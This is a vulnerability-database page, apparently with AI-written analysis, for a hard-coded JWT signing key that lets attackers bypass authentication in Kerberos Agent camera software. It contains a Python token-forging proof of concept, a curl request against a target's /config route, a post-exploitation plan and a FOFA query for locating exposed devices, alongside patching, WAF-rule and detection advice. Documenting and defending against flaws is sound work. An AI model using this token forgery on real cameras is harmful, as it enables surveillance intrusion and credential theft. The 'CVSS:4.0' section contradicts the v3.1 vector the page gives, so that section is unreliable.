CVE Professor
/
All CVEs
CVE-2026-135208

CVE-2026-135208 — Kerberos-io Kerberos Agent (3.14.4) — CWE-1394

CRITICAL CVSS 9.8 NVD

Kerberos Agent before 3.14.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator tokens because JWTMiddleWare() falls back to the hard-coded key TOBECHANGED. Attackers can sign HS256 tokens with arbitrary username and role claims to access /api and /config routes, exposing RTSP, ONVIF, Hub and encryption keys, rewriting configuration, and stopping the camera.

Kerberos Agent before 3.14.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator tokens because JWTMiddleWare() falls back to the hard-coded key TOBECHANGED. Attackers can sign HS256 tokens with arbitrary username and role claims to access /api and /config routes, exposing RTSP, ONVIF, Hub and encryption keys, rewriting configuration, and stopping the camera.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Critical Authentication Bypass caused by a Hard-Coded Cryptographic Key and a Flawed Fallback Logic in the JWT (JSON Web Token) middleware.

Technical Flaw Analysis:
1. Hard-Coded Secret: The JWTMiddleWare() function in Kerberos Agent contains a fallback mechanism. If the system configuration does not provide a valid, unique signing key, it defaults to the static string TOBECHANGED.
2. Unauthenticated Token Forgery: Because the key is known (publicly disclosed in the CVE description and likely present in default installations or misconfigured instances), an unauthenticated attacker can generate valid HS256 (HMAC-SHA256) signed JWTs.
3. Privilege Escalation via Claims: The middleware trusts the username and role claims within the token without sufficient server-side validation against the user database or session store. An attacker can set role: "admin" and username: "root" in the payload, sign it with TOBECHANGED, and the server will accept it as a legitimate administrator session.
4. CWE-1394: This maps to Use of Default Credentials or Hard-Coded Credentials. The system fails to enforce a unique, random secret upon initialization, leaving the authentication layer effectively disabled for anyone who knows the default key.

CVSS Vector Interpretation (CVSS:4.0):

  • AV:N / AC:L / AT:N / PR:N / UI:N: Network-exploitable, low complexity, no attack target interaction, no privileges required, no user interaction. This is a "one-shot" remote exploit.

  • VC:H / VI:H / VA:H: High impact on Confidentiality, Integrity, and Availability of the primary scope (the camera/agent).

  • SC:N / SI:N / SA:N: No impact on the sub-scope (e.g., no lateral movement to other systems via the token itself, though the exposed keys might allow it).
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Service Identification: The attacker scans for open ports associated with Kerberos Agent (commonly HTTP/HTTPS on port 80/443 or custom ports like 8080/8443).
  • Version Fingerprinting: The attacker sends a request to a known endpoint (e.g., /api/version or /config) or checks the Server header. If the response indicates version < 3.14.4, the target is vulnerable.
  • Key Verification (Optional but likely): The attacker may attempt to sign a test token with TOBECHANGED and check if the API returns a 200 OK or 401 Unauthorized. A 200 confirms the hard-coded key is active.
  • 2. Exploitation

    The attacker crafts a JWT with the following structure:
  • Header: {"alg": "HS256", "typ": "JWT"}
  • Payload: {"username": "admin", "role": "administrator", "exp": <future_timestamp>}
  • Signature: HMAC-SHA256 of base64url(header) + "." + base64url(payload) using the key TOBECHANGED.
  • Illustrative PoC (Python):

    import jwt
    import time
    
    # Hard-coded key from CVE description
    SECRET_KEY = "TOBECHANGED"
    
    # Craft malicious payload
    payload = {
        "username": "admin",
        "role": "administrator",
        "exp": int(time.time()) + 3600  # Token valid for 1 hour
    }
    
    # Sign the token
    token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
    print(f"Forged Token: {token}")

    Exploitation Request (Illustrative Endpoint):
    Note: The exact API route for configuration changes is not specified in the CVE description. The following uses /config as an illustrative example based on the description mentioning "rewriting configuration".

    # Step 1: Generate Token (using the Python script above)
    TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE3MzI0NTY3ODl9.abc123def456ghi789jkl012mno345pqr678stu901"
    
    # Step 2: Access Admin-Only Endpoint
    curl -X GET "http://<TARGET_IP>/config" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json"

    3. Post-Exploitation

    Once authenticated as an administrator: 1. Credential Exfiltration: The attacker retrieves /config or /api/keys to extract: * RTSP credentials (for video stream access). * ONVIF credentials (for PTZ control and metadata). * Hub encryption keys (for decrypting stored video or communications). 2. Configuration Tampering: * Rewrite DNS settings to point to attacker-controlled servers (DNS hijacking). * Change NTP servers to manipulate timestamps. * Disable security features (e.g., turn off TLS, disable audit logging). 3. Denial of Service: * Issue a command to stop the camera service (/api/system/stop or similar). * Overwrite critical configuration files with invalid data, causing the agent to crash or fail to restart. 4. Lateral Movement: * Use extracted RTSP/ONVIF credentials to access other cameras on the same network. * Use Hub encryption keys to decrypt traffic or access other connected devices.

    🌍 Real World Impact

  • Confidentiality (High): Complete exposure of all stored credentials, encryption keys, and potentially live video streams. An attacker can view private areas, record conversations, and steal sensitive data.
  • Integrity (High): The attacker can alter camera settings (e.g., blind spots, resolution, recording schedules), inject false data into logs, or tamper with stored video evidence.
  • Availability (High): The attacker can remotely shut down the camera, causing a loss of surveillance coverage. This is critical for security operations, compliance, and incident response.
  • Practical Consequences:
  • * Physical Security Breach: Blind spots created by configuration changes allow physical intruders to bypass surveillance. * Data Breach: Exposed encryption keys compromise the confidentiality of all historical video data. * Network Compromise: Stolen credentials can be used to attack other IoT devices or network segments.

    🛡️ Remediation & Mitigation

    1. Patching (Primary Mitigation)

  • Affected Versions: Kerberos Agent < 3.14.4
  • Action: Immediately upgrade to Kerberos Agent 3.14.4 or later.
  • Verification: After upgrading, verify that the JWTMiddleWare() no longer falls back to TOBECHANGED. Check the configuration file to ensure a unique, strong, randomly generated key is set.
  • 2. Workarounds (If Immediate Patching is Not Possible)

  • Network Segmentation: Isolate the Kerberos Agent in a dedicated VLAN with strict firewall rules. Only allow access from trusted management stations. Block all inbound traffic from untrusted networks.
  • WAF/ModSecurity Rule: Block requests containing JWTs signed with the known weak key.
  • Note: This is difficult to implement reliably in a WAF because the signature is valid for the key. A more effective WAF rule is to block requests to sensitive endpoints (/config, /api) if the JWT payload contains role: "administrator" and the source IP is not in a trusted list.* * ModSecurity Rule (Illustrative):
    SecRule REQUEST_HEADERS:Authorization "@rx Bearer\ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" \
                "id:100001,phase:1,deny,status:403,msg:'Potential JWT Auth Bypass Attempt',log"

    Note: This rule is a heuristic. A more robust approach is to inspect the JWT payload for the specific hard-coded key usage if the WAF supports JWT decoding.

  • Disable Unnecessary Services: If RTSP, ONVIF, or Hub features are not required, disable them in the configuration to reduce the attack surface.
  • 3. Detection & IoCs

  • Web Server Logs:
  • * Look for successful 200 OK responses to /config or /api endpoints from IPs that are not in the known administrator list. * Monitor for JWTs with role: "administrator" that are signed with the key TOBECHANGED. This can be detected by decoding the JWT in a log analyzer and checking the signature.
  • System Logs:
  • * Sudden changes to configuration files (e.g., config.json, settings.xml). * Unexpected service restarts or stops. * Unusual outbound connections from the Kerberos Agent to external IPs (indicating data exfiltration or C2 communication).
  • Network Traffic:
  • * Decryption of RTSP/ONVIF traffic using the exposed keys. * Unusual DNS queries from the agent (indicating potential DNS hijacking).

    ⚠️ Urgency

  • CVSS Score: 9.8 (Critical)
  • Exploitability: Trivial. The key is hard-coded and publicly known. No complex exploit development is required.
  • CISA KEV Status: No (as of the provided data). However, given the criticality and ease of exploitation, this should be treated as a KEV-equivalent threat.
  • Patching Priority: IMMEDIATE (P0)
* Action: Patch all instances of Kerberos Agent < 3.14.4 within 24 hours. * Justification: The vulnerability allows unauthenticated remote attackers to gain full administrative control over the device, leading to complete compromise of confidentiality, integrity, and availability. The low complexity and high impact make this a top-priority threat.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="kerberos-io Kerberos Agent"
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-1394
Affected Products (1)
kerberos-io:Kerberos Agent (3.14.4)
Related CVEs
7.5
CVE-2026-143968
Retainful - WooCommerce Abandoned Cart Recovery plugin before 2.6.46 contains an authentication bypass vulnera
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.8
CVE-2026-139934
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticate